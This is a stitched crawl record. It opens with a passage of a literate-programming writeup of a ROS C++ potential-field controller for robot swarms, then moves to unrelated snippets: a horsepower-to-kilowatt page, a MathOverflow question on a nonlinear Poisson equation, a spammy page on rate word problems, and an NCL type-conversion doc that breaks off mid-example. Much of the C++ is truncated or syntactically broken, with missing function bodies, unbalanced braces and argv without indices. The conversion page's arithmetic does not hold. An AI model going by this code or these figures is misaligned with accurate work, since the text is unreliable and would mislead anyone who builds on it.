\\|S_{j \\to 0}\\|)~|\n\nS_{j \\to 0} = X_0 - X_j\n\nwhere\n\n• d_\\text{threshold} is the threshold laser range for the leader.\n• \\theta_\\text{min} is the minimum angle to be considered part of the leader.\n• \\theta_\\text{max} is the maximum angle to be considered part of the leader.\n• X_n is the position vector of robot n.\n• \\epsilon is the error constant.\n/*\nx0x, x0y: position of robot 0\nxjx, xjy: position of robot j\nepsilon: error constant\n*/\ndouble xjx, double xjy, double r0, double epsilon) {\n// Calculate the distance between the center of robot j to 0\ndouble sx = x0x - xjx;\ndouble sy = x0y - xjy;\ndouble sm = sqrt(sx*sx + sy*sy);\ndouble sTheta = atan2(sy, sx);\n// Calculate the threshold distance\nleader.distanceThreshold = sm - (r0 + epsilon);\n// Calculate the angle difference\ndouble dTheta = std::abs(atan2(r0, sm));\n// Calculate the min and max angles\n}\n\n\nThis code is used in section 10\n\nOverloaded to use values from the object:\n\nvoid locateLeader(Leader &leader) {\nPose &x0 = pose;\nPose &xj = pose[ID];\nERROR_CONSTANT_EPSILON_M);\n}\n\n\nThis code is used in section 10\n\n#### 11. Random Force\n\n{Methods 4} +=\n{Position EMA Reset Method, 11}\n{Position EMA Update Method, 11}\n{Random Force Generator, 11}\n{Random Angle Generator, 11}\n\n\nSee also sections 5, 6, 7, 8, 10, 12, 13, 14, 15, 16 and 17\n\nThis code is used in section 18\n\nA random force is added to the total to avoid getting stuck in local minima. The magnitude of the force should increase as the robot stays put more. \"Staying put more\" is terribly vague, so a \"staying put index\" will be defined as the inverse of the distance between the robot's position and an exponential moving average (EMA) of the robot's position.\n\np_t = {1 \\over \\|Y_t - E_t\\|}\n\nE_0 = Y_0\n\nE_t = \\eta \\cdot Y_t + (1-\\eta) \\cdot E_{t-1}\n\nwhere\n\n• p_t is the \"staying put index\" at timestep t.\n• Y_t is the position vector of the robot at time t.\n• E_t is the EMA of the robot's position at time t.\n• \\eta is the EMA coefficient.\n\nTo calculate the EMA at every time step, the previous EMA must be stored.\n\n{Member Variables 9} +=\nVector2 positionEMA;\n\n\nThis code is used in section 18\n\nWhenever a new goal is set (and at the beginning of the program), the EMA needs to be reset to the current position.\n\n{Position EMA Reset Method 11}\nvoid resetPositionEMA() {\n// Reset to the robot's current position\nPose &robot = pose[ID];\npositionEMA.x = robot.x;\npositionEMA.y = robot.y;\n}\n\n\nThis code is used in section 11\n\nAt the beginning of the program, the pose data for the robot has to be retrieved before it can be used to reset the EMA.\n\n{Post-Initialization 11}\n// Get pose data\nros::Time epoch(0.0);\nwhile (pose[ID].t == epoch && ros::ok())\nros::spinOnce();\n// Reset EMA to pose\nresetPositionEMA();\n\n\nThis code is used in section 18\n\nTo update the EMA, the formula described above is implemented.\n\n{Position EMA Update Method 11}\nvoid updatePositionEMA() {\n// Discount the old value\npositionEMA *= 1 - EMA_COEFFICIENT_ETA;\nPose &robot = pose[ID];\npositionEMA.x += EMA_COEFFICIENT_ETA * robot.x;\npositionEMA.y += EMA_COEFFICIENT_ETA * robot.y;\n}\n\n\nThis code is used in section 11\n\nThe random force is generated from the \"staying put index\" (described above) by the following formulas.\n\n\\|F_\\text{random}\\| = \\zeta \\cdot p_t\n\n\\angle F_\\text{random} = u_{[-\\pi,\\pi)}\n\nwhere\n\n• F_\\text{random} is the random force.\n• \\zeta is the conversion constant.\n• p_t is the current \"staying put index.\"\n• u_{[-\\pi,\\pi)} is on a uniform distribution on the interval [-\\pi,\\pi).\n\nIn rectangular coordinates:\n\nF_\\text{random}^x = \\zeta \\cdot p_t \\cdot \\cos(u_{[-\\pi,\\pi)})\n\nF_\\text{random}^y = \\zeta \\cdot p_t \\cdot \\sin(u_{[-\\pi,\\pi)})\n\nIn C++:\n\n{Random Force Generator 11}\n/*\nzeta: conversion constant\np: \"staying put index\"\n*/\nVector2 generateRandomForce(double zeta, double p) {\n// Create the return struct\nVector2 f;\n// Generate the random angle\ndouble u = generateRandomAngle();\n// Calculate the force\ndouble k = zeta * p;\nf.x = k * cos(u);\nf.y = k * sin(u);\nreturn f;\n}\n\n\nThis code is used in section 11\n\nOverloaded to use values from the object:\n\n{Random Force Generator 11} +=\nVector2 generateRandomForce() {\n// Calculate the \"staying put index\"\nPose &robot = pose[ID];\ndouble ipx = robot.x - positionEMA.x;\ndouble ipy = robot.y - positionEMA.y;\ndouble p = 1 / sqrt(ipx*ipx + ipy*ipy);\n// Generate the force\nreturn generateRandomForce(CONVERSION_CONSTANT_ZETA, p);\n}\n\n\nThis code is used in section 11\n\nThe EMA coefficient \\eta and the conversion constant \\zeta are const parameters.\n\n{Parameters 1} +=\n// Parameters added for random force\nconst static double EMA_COEFFICIENT_ETA = 0.0625;\nconst static double CONVERSION_CONSTANT_ZETA = 0.125;\n\n\nThis code is used in section 18\n\nu_{[-\\pi,\\pi)} is generated using rand. It has some nonuniformity issues on some systems, and any simple conversion into a floating-point uniform distribution (as below) introduce nonuniformities on all systems, but ROS nodes are typically compiled with C++03, which does not have the STL header random, which provides far superior RNG tools.\n\n{Random Angle Generator 11}\ndouble generateRandomAngle() {\nreturn (double(rand()) / RAND_MAX)*2*M_PI - M_PI;\n}\n\n\nThis code is used in section 11\n\nThe generator is seeded in post-initialization.\n\n{Post-Initialization 11} +=\n// Initialize random time generator\nsrand(time(NULL));\n\n\nThis code is used in section 18\n\nA personal note: rand has all kinds of problems, and I really dislike using it in this way, but I'm not going to port everything to C++11 so that I can get a properly uniform distribution. I just wanted to note that this is NOT a good way to generate a reliably uniform distribution of floating-point numbers.\n\n#### 12. Total Force\n\n{Methods 4} +=\n{Total Force Method, 12}\n\n\nSee also sections 5, 6, 7, 8, 10, 11, 13, 14, 15, 16 and 17\n\nThis code is used in section 18\n\nThe formula for total force is fairly simple.\n\nF_T = \\sum_i F_r^i + F_a + F_\\text{random}\n\nIt is slightly complicated by filtering the laser data (as described in the previous section), but it is still fairly straightforward to implement in C++.\n\n{Total Force Method 12}\nVector2 getTotalForce() {\n// Create the return struct, initialized with the attractive force.\nVector2 ft = getAttraction();\nft += generateRandomForce();\n// Get the number of laser data points\nsize_t len = laserRanges->size();\nif (ID == 0) {\n// Leader does not need to filter for itself.\nfor (size_t i = 0; i < len; ++i) {\nft += getRepulsion(i);\n}\n} else {\n// Followers need to filter out the leader.\nfor (size_t i = 0; i < len; ++i) {\nft += getRepulsion(i);\n}\n}\n}\n// Patch because laser doesn't hit other robots\nft += getOtherRepulsion();\n// Return the total force\nreturn ft;\n}\n\n\nThis code is used in section 12\n\n#### 13. Force to Velocity\n\n{Methods 4} +=\n{Angular Velocity Method, 13}\n{Linear Velocity Method, 13}\n{Sign Function, 13}\n\n\nSee also sections 5, 6, 7, 8, 10, 11, 12, 14, 15, 16 and 17\n\nThis code is used in section 18\n\nThe velocity for the robot is\n\n\\omega = \\text{sgn}(\\omega_\\text{raw}) \\cdot \\min(|\\omega_\\text{raw}|, \\omega_\\text{max})\n\n\\omega_\\text{raw} = \\kappa \\cdot \\theta_d\n\nv = \\begin{cases} \\min(v_\\text{raw}, v_\\text{max}), & \\text{if }v_\\text{raw} > 0 \\\\ 0, & \\text{otherwise} \\end{cases}\n\nv_\\text{raw} = \\lambda \\cdot \\|F_T\\| \\cdot \\cos \\theta_d\n\n\\theta_d = \\text{reduceAngle}(\\angle F_T - \\theta_r)\n\n\\text{reduceAngle}(\\phi) = \\text{atan2}(\\sin(\\phi), \\cos(\\phi))\n\n\\text{sgn}(a) = {a \\over |a|}\n\nwhere\n\n• \\omega is the capped angular velocity.\n• \\omega_\\text{raw} is the uncapped angular velocity.\n• \\omega_\\text{max} is the maximum allowable angular speed.\n• \\kappa is the angular scaling constant.\n• v is the capped linear velocity.\n• v_\\text{raw} is the uncapped linear velocity.\n• v_\\text{max} is the maximum allowable linear speed.\n• \\lambda is the linear scaling constant.\n• F_T is the total force.\n• \\theta_r is the heading of the robot.\n\nThe following definition for \\text{reduceAngle} was also tried, but the implementation did not seem to work in that it would sometimes return values with absolute values greater than \\pi.\n\n\\text{reduceAngle}(\\phi) = \\text{fmod}(\\phi + \\pi, 2\\pi) - \\pi\n\n\\text{fmod}(n, d) = n - \\lfloor ^n/_d \\rfloor \\cdot d\n\nIn C++:\n\n{Angular Velocity Method 13}\n/*\nkappa: angular scaler\ntheta: angle between force and heading\nomegaMax: max allowable angular speed\n*/\ndouble getAngularVelocity(double kappa, double theta, double omegaMax) {\ndouble raw = kappa * theta;\nreturn sgn(raw) * std::min(std::abs(raw), omegaMax);\n}\n\n\nThis code is used in section 13\n\n{Linear Velocity Method 13}\n/*\nlambda: linear scaler\nftx, fty: total force\ntheta: angle between force and heading\nvMax: max allowable linear speed\n*/\ndouble getLinearVelocity(double lambda, double ftx, double fty,\ndouble theta, double vMax) {\ndouble raw = lambda * sqrt(ftx*ftx + fty*fty) * cos(theta);\nreturn (raw > 0) ? std::min(raw, vMax) : 0;\n}\n\n\nThis code is used in section 13\n\n{Sign Function 13}\ndouble sgn(double a) {\nreturn (a > 0) - (a < 0);\n}\n\n\nThis code is used in section 13\n\nOverloaded to use values from the object (except in calculating \\theta_d and F_T, as those are to be calculated further up the callstack for efficiency):\n\n{Angular Velocity Method 13} +=\ndouble getAngularVelocity(double theta) {\n}\n\n\nThis code is used in section 13\n\n{Linear Velocity Method 13} +=\ndouble getLinearVelocity(Vector2 &ft, double theta) {\nreturn getLinearVelocity(LINEAR_SCALER_LAMBDA, ft.x, ft.y, theta,\nFORWARD_SPEED_MPS);\n}\n\n\nThis code is used in section 13\n\nstd::min is in the header algorithm.\n\n#include <algorithm> // For min\n\n\nThis code is used in section 18\n\nThe scaling constants \\kappa and \\lambda are const parameters:\n\n{Parameters 1} +=\n// Parameters added for force to velocity\nconst static double ANGULAR_SCALER_KAPPA = 0.25;\nconst static double LINEAR_SCALER_LAMBDA = 0.0625;\n\n\nThis code is used in section 18\n\nThe second of the TODO-marked sections was the laser scan callback. The provided TODO comment was:\n\nTODO: remove demo code, compute potential function, actuate robot\n\nDemo code: print each robot's pose\n\n for (int i = 0; i < numRobots; i++) {\nROS_DEBUG_STREAM(i << \" \" << \"Pose: \" << pose[i].x << \", \" << pose[i].y\n<< \", \" << pose[i].heading << std::endl);\n}\n\n\nMost of the necessary components for doing this have already been defined above, so implementing this final step is fairly straightforward.\n\n{Actuate Robot 13}\n// Update the EMA for the random force\nupdatePositionEMA();\n// Calculate the total force\nVector2 ft = getTotalForce();\n// Calculate the shortest angle between the force and the heading\ndouble theta = atan2(ft.y, ft.x) - pose[ID].heading;\ntheta = atan2(sin(theta), cos(theta));\n// Calculate the velocities\ndouble omega = getAngularVelocity(theta);\ndouble v = getLinearVelocity(ft, theta);\n// Move the robot\nmove(v, omega);\n\n\nThis code is used in section 18\n\n#### 14. Timing\n\nThe following code provides a method for executing code less than every tick.\n\n{Member Variables 9} +=\nunsigned tickCounter;\n\n\nThis code is used in section 18\n\n{Post-Initialization 11} +=\ntickCounter = 0;\n\n\nThis code is used in section 18\n\n{Actuate Robot 13} +=\n++tickCounter;\n\n\nThis code is used in section 18\n\n{Methods 4} +=\nbool checkFrequency(float hz) {\nreturn tickCounter % int(30.0 / hz) == 0;\n}\n\n\nSee also sections 5, 6, 7, 8, 10, 11, 12, 13, 15, 16 and 17\n\nThis code is used in section 18\n\n#### 15. Detecting the Goal\n\n{Methods 4} +=\n{Is on Goal Method, 15}\n\n\nSee also sections 5, 6, 7, 8, 10, 11, 12, 13, 14, 16 and 17\n\nThis code is used in section 18\n\nDue to the random force, interactions with other robots, and rounding errors, the leader will not ever be right on the goal, so to detect goal achievement, it must be defined as an area. A robot has reached the goal if\n\n\\|S_\\text{goal}\\| < \\sigma\n\nS_\\text{goal} = X_\\text{goal} - E_t\n\nwhere\n\n• X_\\text{goal} is the position vector of the goal.\n• E_t is the EMA vector of the robot's position.\n• \\sigma is the radius of the goal.\n\nIn C++:\n\n{Is on Goal Method 15}\nbool isOnGoal(double gx, double gy, double ex, double ey, double sigma) {\ndouble sx = gx - ex;\ndouble sy = gy - ey;\nreturn sqrt(sx*sx + sy*sy) < sigma;\n}\n\n\nThis code is used in section 15\n\nOverloaded to use values from the object:\n\n{Is on Goal Method 15} +=\nbool isOnGoal() {\nreturn isOnGoal(goalX, goalY, positionEMA.x, positionEMA.y,\n}\n\n\nThis code is used in section 15\n\nThe goal radius \\sigma is a const parameter.\n\n{Parameters 1} +=\nconst static double GOAL_RADIUS_SIGMA_M = 1.25;\n\n\nThis code is used in section 18\n\nThis code was used for debugging purposes, and is not used for the main functionality of the program.\n\n#### 16. Selecting a New Goal\n\n{Methods 4} +=\n{Goal Generator, 16}\n\n\nSee also sections 5, 6, 7, 8, 10, 11, 12, 13, 14, 15 and 17\n\nThis code is used in section 18\n\nA new goal is selected using the following formula.\n\nX_\\text{goal} = X_\\text{robot} + R\n\n\\|R\\| = u_{[0.5,1.5)}, \\angle R = u_{[-\\pi,\\pi)}\n\nwhere\n\n• X_\\text{goal} is the position vector of the goal.\n• X_\\text{robot} is the position vector of the robot.\n• u_{[a,b)} is on a uniform distribution on the interval [a,b).\n\nIn C++:\n\n{Goal Generator 16}\nvoid generateGoal() {\n// Generate random numbers\ndouble um = 0.5 + (double(rand()) / RAND_MAX);\ndouble ua = generateRandomAngle();\n// Calculate new goal\nPose &robot = pose[ID];\ngoalX = robot.x + um * cos(ua);\ngoalY = robot.y + um * sin(ua);\n// Reset EMA to pose\nresetPositionEMA();\n}\n\n\nThis code is used in section 16\n\nThis is called at startup and every 5 seconds.\n\n{Post-Initialization 11} +=\nif (ON_RANDOM_WALK && ID == 0) generateGoal();\n\n\nThis code is used in section 18\n\n{Actuate Robot 13} +=\nif (ON_RANDOM_WALK && ID == 0\n&& checkFrequency(GOAL_REGENERATION_FREQUENCY_HZ)) {\ngenerateGoal();\n}\n\n\nThis code is used in section 18\n\n{Parameters 1} +=\nconst static bool ON_RANDOM_WALK = false;\nconst static double GOAL_REGENERATION_FREQUENCY_HZ = 0.2;\n\n\nThis code is used in section 18\n\n#### 17. Debug Logging\n\n{Post-Initialization 11} +=\nROS_INFO(\"Post-initialization completed.\");\n\n\nThis code is used in section 18\n\n{Methods 4} +=\nvoid printDiagnostic(const Vector2 &ft, double theta, double v, double omega) {\nROS_INFO(\"%2d Pose:%6.2f,%6.2f,%+7.4f; F:%+10.4f,%+10.4f (%+7.4f);\"\n\" pEMA:%6.2f,%6.2f; onGoal:%1d\", ID, pose[ID].x, pose[ID].y,\npose[ID].heading, ft.x, ft.y, atan2(ft.y, ft.x), theta, v, omega, goalX,\ngoalY, positionEMA.x, positionEMA.y, isOnGoal());\n}\n\n\nSee also sections 5, 6, 7, 8, 10, 11, 12, 13, 14, 15 and 16\n\nThis code is used in section 18\n\n{Actuate Robot 13} +=\n//if (checkFrequency(2.0)) printDiagnostic();\n\n\nThis code is used in section 18\n\nThis code was used for debugging purposes, and is not used for the main functionality of the program.\n\n#### 18. Given Code\n\nThe following code was provided for the project. Note that btQuaternion and btMatrix3x3 have been changed to tf::Quaternion and tf::Matrix3x3, respectively. This is because libbullet has removed the function btMatrix3x3::getRPY. Migration from libbullet to tf is discussed at bullet_migration on the ROS Wiki. Also changed is that stage does not append a namespace for each robot for the single-robot maps, so some if-statements were added to handle this problem (in main and PotFieldBot::PotFieldBot). Writes to std::cout have been changed to use /rosout.\n\n{src/potential_field.cpp 18}\n#include \"ros/ros.h\"\n#include \"nav_msgs/Odometry.h\"\n#include \"geometry_msgs/Twist.h\"\n#include \"sensor_msgs/LaserScan.h\"\n#include <vector>\n#include <cstdlib> // Needed for rand()\n#include <ctime> // Needed to seed random number generator with a time value\n#include \"tf/LinearMath/Quaternion.h\" // Needed to convert rotation ...\n#include \"tf/LinearMath/Matrix3x3.h\" // ... quaternion into Euler angles\n\n#include <ros/console.h> // For rosout\n\nstruct Pose {\ndouble x; // in simulated Stage units\ndouble y; // in simulated Stage units\nros::Time t; // last received time\n\n// Construct a default pose object with the time set to 1970-01-01\nPose() : x(0), y(0), heading(0), t(0.0) {};\n\n// Process incoming pose message for current robot\nvoid poseCallback(const nav_msgs::Odometry::ConstPtr& msg) {\ndouble roll, pitch;\nx = msg->pose.pose.position.x;\ny = msg->pose.pose.position.y;\ntf::Quaternion q = tf::Quaternion(msg->pose.pose.orientation.x,\nmsg->pose.pose.orientation.y, msg->pose.pose.orientation.z,\nmsg->pose.pose.orientation.w);\n};\n};\n\n{Structs, 2}\n\nclass PotFieldBot {\npublic:\n// Construst a new Potential Field controller object and hook up\n// this ROS node to the simulated robot's pose, velocity control,\n// and laser topics\nPotFieldBot(ros::NodeHandle& nh, int robotID, int n, double gx, double gy)\n: ID(robotID), numRobots(n), goalX(gx), goalY(gy) {\n// Advertise a new publisher for the current simulated robot's\n// velocity command topic (the second argument indicates that\n// if multiple command messages are in the queue to be sent,\n// only the last command will be sent)\n\n// Subscribe to the current simulated robot's laser scan topic and\n// tell ROS to call this->laserCallback() whenever a new message\n// is published on that topic\nlaserSub = nh.subscribe(\"base_scan\", 1, &PotFieldBot::laserCallback, this);\n\n// Subscribe to each robot' ground truth pose topic\n// and tell ROS to call pose->poseCallback(...) whenever a new\n// message is published on that topic\nfor (int i = 0; i < numRobots; i++) {\npose.push_back(Pose());\n}\nif (numRobots == 1) {\nposeSubs.push_back(nh.subscribe(\"/base_pose_ground_truth\",\n1, &Pose::poseCallback, &pose));\n} else {\nfor (int i = 0; i < numRobots; i++) {\nposeSubs.push_back(nh.subscribe(\"/robot_\" +\nboost::lexical_cast<std::string>(i) + \"/base_pose_ground_truth\",\n1, &Pose::poseCallback, &pose[i]));\n}\n}\n};\n\n// Send a velocity command\nvoid move(double linearVelMPS, double angularVelRadPS) {\ngeometry_msgs::Twist msg;\n// The default constructor will set all commands to 0\nmsg.linear.x = linearVelMPS;\ncommandPub.publish(msg);\n};\n\n// Process incoming laser scan message\nvoid laserCallback(const sensor_msgs::LaserScan::ConstPtr& msg) {\n\n{Laser Callback, 9}\n\n};\n\n// Main FSM loop for ensuring that ROS messages are\n// processed in a timely manner, and also for sending\n// velocity controls to the simulated robot based on the FSM state\nvoid spin() {\nros::Rate rate(30); // Specify the FSM loop rate in Hz\nROS_INFO(\"Entering spin.\");\n\nwhile (ros::ok()) { // Keep spinning loop until user presses Ctrl+C\n\n{Actuate Robot, 13}\n\nros::spinOnce();\n// Need to call this function often to allow ROS to process\n// incoming messages\nrate.sleep();\n// Sleep for the rest of the cycle, to enforce the FSM loop rate\n}\n};\n\nvoid postInitialization() {\n\n{Post-Initialization, 11}\n\n}\n\n{Methods, 4}\n\n{Parameters, 1}\n\nprotected:\nros::Publisher commandPub;\n// Publisher to the current robot's velocity command topic\nros::Subscriber laserSub;\n// Subscriber to the current robot's laser scan topic\nstd::vector<ros::Subscriber> poseSubs;\n// List of subscribers to all robots' pose topics\nstd::vector<Pose> pose; // List of pose objects for all robots\nint ID; // 0-indexed robot ID\nint numRobots; // Number of robots, positive value\ndouble goalX, goalY; // Coordinates of goal\n\n{Member Variables, 9}\n\n};\n\nint main(int argc, char **argv) {\nstd::cout << \"Entered main.\" << std::endl;\nint robotID = -1, numRobots = 0;\ndouble goalX, goalY;\nbool printUsage = false;\n\n// Parse and validate input arguments\nif (argc <= 4) {\nprintUsage = true;\n} else {\ntry {\nrobotID = boost::lexical_cast<int>(argv);\nnumRobots = boost::lexical_cast<int>(argv);\ngoalX = boost::lexical_cast<double>(argv);\ngoalY = boost::lexical_cast<double>(argv);\n\nif (robotID < 0) { printUsage = true; }\nif (numRobots <= 0) { printUsage = true; }\n} catch (std::exception err) {\nprintUsage = true;\n}\n}\nif (printUsage) {\nROS_FATAL_STREAM(\"Usage: \" << argv <<\n\" [ROBOT_NUM_ID] [NUM_ROBOTS] [GOAL_X] [GOAL_Y]\");\nreturn EXIT_FAILURE;\n}\n\nros::init(argc, argv, \"potfieldbot_\" + std::string(argv));\n// Initiate ROS node\nROS_INFO(\"ROS initialized.\");\nif (numRobots == 1) {\nros::NodeHandle n;\n// Create handle\nROS_INFO(\"Node handle created: Single Mode\");\nPotFieldBot robbie(n, robotID, numRobots, goalX, goalY);\n// Create new random walk object\nROS_INFO(\"Node Initialized.\");\nrobbie.postInitialization();\nrobbie.spin(); // Execute FSM loop\n} else {\nros::NodeHandle n(\"robot_\" + std::string(argv));\n// Create named handle \"robot_#\"\nROS_INFO(\"Node handle created: Group Mode\");\nPotFieldBot robbie(n, robotID, numRobots, goalX, goalY);\n// Create new random walk object\nROS_INFO(\"Node initialized.\");\nrobbie.postInitialization();\nrobbie.spin(); // Execute FSM loop\n}\n\nreturn EXIT_SUCCESS;\n};\n\n\n#### 19. Results\n\nThe robots showed good ability to reach the goal, even when it involved circumnavigating obstacles. They did not run into obstacles or each other, and although the followers followed the leader very loosely, none of them lost their way for very long.",
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"http://ttech.click/potential_field.images.d/screenshot06.png",
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"http://ttech.click/potential_field.images.d/screenshot27.png",
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"http://ttech.click/potential_field.images.d/screenshot07.png",
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"http://ttech.click/potential_field.images.d/screenshot12.png",
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"http://ttech.click/potential_field.images.d/screenshot10.png",
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"http://ttech.click/potential_field.images.d/screenshot15.png",
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"http://ttech.click/potential_field.images.d/screenshot21.png",
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"http://ttech.click/potential_field.images.d/screenshot31.png",
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"http://ttech.click/potential_field.images.d/screenshot25.png",
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https://kw2hp.co.uk/932-hp-equals-to-how-many-kw-kilowatts/ | [
"# 932 HP equals to how many kW (kilowatts)?\n\n932 HP after calculating to kW (kilowatts) is 685,29 kW and equals 919,23 BHP.\n\nHow to calculate that 932 HP is 685,29 kW (kilowatts)?\n\nIt’s very simple – just multiply 932 HP by 0,74. It gives 685,29 kW (kilowatts)."
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.6498381,"math_prob":0.9986419,"size":429,"snap":"2020-34-2020-40","text_gpt3_token_len":144,"char_repetition_ratio":0.16941176,"word_repetition_ratio":0.9459459,"special_character_ratio":0.4079254,"punctuation_ratio":0.16981132,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97350997,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-26T18:55:52Z\",\"WARC-Record-ID\":\"<urn:uuid:6cb3e287-766b-48bb-86c8-44cd4407fb55>\",\"Content-Length\":\"38193\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:fc63c8e7-7a17-4eed-a314-7a1fa1bbd877>\",\"WARC-Concurrent-To\":\"<urn:uuid:8106f327-084a-4d11-851c-03c215d7c835>\",\"WARC-IP-Address\":\"195.78.66.124\",\"WARC-Target-URI\":\"https://kw2hp.co.uk/932-hp-equals-to-how-many-kw-kilowatts/\",\"WARC-Payload-Digest\":\"sha1:GBLZ3EICHHXCLPEC3KKP2SMKPGDTTD4F\",\"WARC-Block-Digest\":\"sha1:CC7NXDPNN3GKD6XLU5LSHI5XK45P6Z6B\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400244353.70_warc_CC-MAIN-20200926165308-20200926195308-00644.warc.gz\"}"} |
https://mathoverflow.net/questions/382420/finding-numerical-solution-for-nonlinear-poisson-like-equation-using-finite-diff | [
"# Finding numerical solution for nonlinear Poisson-like equation using finite difference method\n\nI am trying to use finite difference method to solve for $$u(x,t)$$ in the equation:\n\n\\begin{align} \\frac{\\partial^2u}{\\partial x^2} = \\frac{au}{1+bu}, \\end{align} which is actually part of a system of PDEs. The equation came from the Michaelis-Menten law used in modelling tumor growth where $$u(x,t)$$ is the oxygen tension. The RHS of the equation can be re-written as follows, \\begin{align} \\frac{au}{1+bu} = \\frac{a}{b}\\left(1-\\frac{1}{1+bu}\\right). \\end{align} The boundary conditions are $$\\partial u/\\partial x = 0$$ at $$x=0$$ and $$u(1,t)=0$$. Usually, for Poisson equation $$\\dfrac{\\partial^2u}{\\partial x^2}=f(x)$$, which is quite similar to the above, I just do \\begin{align} \\frac{u_{i+1}-2u_i+u_{i-1}}{\\Delta x^2}=f_i, \\end{align} for each $$i=1,...,n$$ and re-write the resulting discretised equations in a matrix form \\begin{align} {\\bf Au=b}, \\end{align} and thus manipulate the matrix system (or use any other methods like Gauss-Seidel) to get the solution $${\\bf u}$$. But, how do I do it for the equation above? I would be very grateful if someone could give me a small hint or point me to some useful reference."
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https://book-old2.ru/rate-problem-solving-2533.html | [
"# Rate Problem Solving",
null,
"This can be done by first multiplying the entire problem by the common denominator and then solving the resulting equation. Click Here for Practice Problems Example 3 – One pipe can fill a swimming pool in 10 hours, while another pipe can empty the pool in 15 hours.How long would it take to fill the pool if both pipes were accidentally left open?After the first train had traveled for 14 hours, it was 1,960 miles apart from the second train.\n\nTags: Role Model Essays MotherEssay Proofreading Service AustraliaGcse English Literature Coursework Jane EyreValentine Writing PaperWrite Good Conclusion Sentence EssayHow To Format A Research ProposalMla In ThesisExercises For Critical ThinkingEssay On Checks And Balances SystemComponents Of Research Proposal\n\nHow long would it take to paint the house if they worked together?\n\nStep 2: Solve the equation created in the first step.\n\nJustin can complete the project by himself in 6 hours, Jason can complete the project by himself in 9 hours, and Jacob can complete the project by himself in 8 hours.\n\nHow long would it take the triplets to complete the project if they work together?\n\nYou will also apply the formula that solves distance, rate, and time, which is There are many examples where you might use this formula in real life.\n\nFor example, if you know the time and rate a person is traveling on a train, you can quickly calculate how far he traveled.represents the time that the slower train has been traveling.You may wish to draw a diagram to show what is happening.Two hours later, another train leaves from Deb's house on the track beside or parallel to the first train but it travels at 100 mph.How far away from Deb's house will the faster train pass the other train?And if you know the time and distance a passenger traveled on a plane, you could quickly figure the distance she traveled simply by reconfiguring the formula.For example, suppose a train leaves Deb's house and travels at 50 mph.In math, distance, rate, and time are three important concepts you can use to solve many problems if you know the formula.Distance is the length of space traveled by a moving object or the length measured between two points. Time is the measured or measurable period during which an action, process, or condition exists or continues.Organize the information you have in a chart format if you haven't solved these types of problems before.Remember the formula: When identifying the parts of the word problem, distance is typically given in units of miles, meters, kilometers, or inches.\n\n## Comments Rate Problem Solving\n\n• ###### Problem Solving Using Rates, Unit Rates, and Conversions – Made.\nReply\n\nProblem Solving Using Rates, Unit Rates, and Conversions - Easy to learn with sofatutor animated videos. Then test your knowledge with worksheets and online.…\n\n• ###### Solving Problems With a Distance-Rate-Time Formula - ThoughtCo\nReply\n\nJul 12, 2019. Learn how to solve problems involving distance, rate, and time, and practice using the distance/rate/time formula.…\n\n• ###### Rate your problem solving skills from 1-10. How do you justify your.\nReply\n\nJul 5, 2017. The interviewer wants to know how you would rate your problem-solving skills. Of course, you want to give yourself a healthy rating; however.…\n\n• ###### Solving work-rate problems - HFC Learning Lab\nReply\n\nTo solve work-rate problems it is helpful to use a variant of distance equals rate. In this formula Q is the quantity or amount of work done, r is the rate of work.…\n\n• ###### Introducing Ratios - Art of Problem Solving\nReply\n\nSpeed Problems Part 2. v. Video. 7.6 Rates Part 1. v. Video. 7.6 Rates Part 2 - Work Problems. v. 7. Art of Problem Solving is an. ACS WASC Accredited.…\n\n• ###### Solving Word Questions - Math is Fun\nReply\n\nWe are being asked how long it would take Sam to make 10 tables. Solve 30a = 10, so Alex's rate tables per day is a = 10/30 = 1/3. Start with 12a + 12s = 10.…\n\n• ###### Rate Problems\nReply\n\nJul 20, 2018. A rate is a comparison of two quantities that are measured in. you'll be solving an incredible variety of problems quickly and efficiently.…\n\n• ###### Solving Unit Rate Problems PBS LearningMedia\nReply\n\nIn this video, learn a strategy for solving unit rate problems. In the accompanying classroom activity, students watch the video then use grocery store ads to.…\n\n• ###### Rate Distance Time Word Problems solutions, videos, examples\nReply\n\nDistance Problems - word problems involving distance, rate speed and time, how to solve distance word problems where the objects are traveling in opposite.…\n\n• ###### Calculus I - Related Rates - Pauls Online Math Notes\nReply\n\nMay 23, 2019. In this section we will discuss the only application of derivatives in this section, Related Rates. In related rates problems we are give the rate of.…"
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"https://book-old2.ru/jpugadnigu/rate-problem-solving-223145.jpg",
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http://ncl.ucar.edu/Document/Functions/Built-in/longtobyte.shtml | [
"",
null,
"NCL Home > Documentation > Functions > Type converters\n\n# longtobyte\n\nCoerces values of type long to values of type byte.\n\n## Prototype\n\n```\tfunction longtobyte (\nlong_val : long\n)\n\nreturn_val [dimsizes(long_val)] : byte\n```\n\n## Arguments\n\nlong_val\n\nA long variable of any dimension.\n\n## Return value\n\nThe return variable is of the same dimensionality as the input variable.\n\nThe return for any input value out of the range of 0 to 255, inclusive, is a missing value. For any long value in the range 0 to 255 the value is returned as a byte. Note that NCL prints byte values in hex.\n\n## Description\n\nThis function converts long values to byte values.\n\nAny value out of the range of 0 to 255 is returned as a missing value. For a value in the range 0 to 255, the value is put into the output byte. Note that NCL prints byte values in hex.\n\nThis function performs coercion that is not automatically available through the NCL grammar. See the section on coercion of types for details on NCL's automatic type conversions.\n\nAttributes, with the exception of _FillValue, are not propagated by the conversion functions. See Example 2 below.\n\nSpecial considerations apply to how missing values and out-of-range values are handled in the conversion functions. For this function an out-of-range value is a valid long that is not in the valid range of a byte. An out-of-range value is converted to a missing value, but what that missing value is depends on the circumstances of the particular conversion being performed. For example, determination has to be made whether a missing value for a variable to be converted is in the range of the type of the target variable. Example 2 below illustrates most of the many possibilities; its output should provide convincing evidence that care must be taken when making assumptions about the results returned from a conversion function when the original variable has missing or out-of-range values.\n\n## Examples\n\nExample 1\n\nConverts an array of longs to bytes.\n\n```\nbegin\na = (/ 0, 1, 10, 300, -1 /)\nprint (longtobyte(a))\nend\n\n```\nExample 2\n\nShows how missing values and out-of-range values are handled.\n\n```\nbegin\n;\n; Conversion does not preserve attributes, except missing value.\n;\na = new(3,long)\na = (/ 66, 